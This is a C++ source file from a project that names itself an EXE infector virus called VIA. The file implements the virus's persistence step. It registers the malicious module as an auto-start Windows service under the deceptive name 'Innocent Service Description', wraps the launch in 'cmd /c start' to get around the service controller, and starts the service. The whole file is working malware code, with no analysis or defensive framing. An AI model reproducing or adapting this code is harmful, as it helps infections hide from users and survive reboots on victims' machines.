/**
 * @author	Yitzchak Arad
 * @project	VIA, an EXE infector virus
 * @date	2011
 */

#include "via.h"

using std::wstring;

/**
 * @brief	registers the module in the system services list, and starts it
 * @param	moduleFileName - the path of the module to register
 * @returns	true, if the service creation succeeded.
 * @note	the service name (and description) is const, and can't be registered twise.
 *			the installation will fail, if it was run on that system before.
 */
bool InstallUsingService(const wstring& moduleFileName)
{
	// create a connection to the SCM managed, using ALL_ACCESS permissions
	SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if( NULL == hScm )
	{
		// connection failed
		traceDbg(L"ViaLib: InstallUsingService: OpenSCManager failed. Last Err: 0x%x", GetLastError());
		return false;
	}

	// if the virus is a DLL, so we have to register it with a rundll32 command.
	// otherwise (EXE file), so we have to add the 'run' argument to the command line.
	wstring finalCommand;
	if(wstring(moduleFileName.c_str() + (moduleFileName.length() - 4)) == L".dll")
	{
		finalCommand = wstring(L"rundll32.exe ") + moduleFileName + L",run";
	}
	else
	{
		finalCommand = moduleFileName + L" run";
	}

	// create a new service: Own, Auto start
	// the command line starts with "cmd /c start" because of VIA is not a real service.
	// so it does not respond to service commands. due to this, the service controller assumes
	// the the service failes to load, and kill the process.
	// when we use "start" command, the "cmd" process returns immediately, so VIA
	// will run without interrupts.
	SC_HANDLE hService = CreateServiceW(hScm, L"ViaStartup1", L"Innocent Service Description ",
		SC_MANAGER_CREATE_SERVICE | SERVICE_START,        
		SERVICE_WIN32_OWN_PROCESS,
		SERVICE_AUTO_START,
		SERVICE_ERROR_IGNORE,
		(wstring(L"cmd /c start ") + finalCommand).c_str(),
		NULL,
		NULL,
		NULL,
		NULL,
		NULL);

	if( NULL == hService )
	{
		// Service creation failed.
		traceDbg(L"ViaLib: InstallUsingService: Failure. Last Err: 0x%x", GetLastError());
		CloseServiceHandle(hScm);
		return false;
	}
	else
	{
		traceDbg(L"ViaLib: InstallUsingService: Success");
		// Service was created. Now, start it!
		StartService(hService, 0, NULL);

		traceDbg(L"ViaLib: InstallUsingService: Service Started: Last Err: 0x%x", GetLastError());

		// cleanup
		CloseServiceHandle(hService);
		CloseServiceHandle(hScm);
		return true;
	}
}

// documented in header file (via.h)
bool ViaInstall(const wstring& moduleFileName)
{
	// currently, the only supported install method is service
	return InstallUsingService(moduleFileName);
}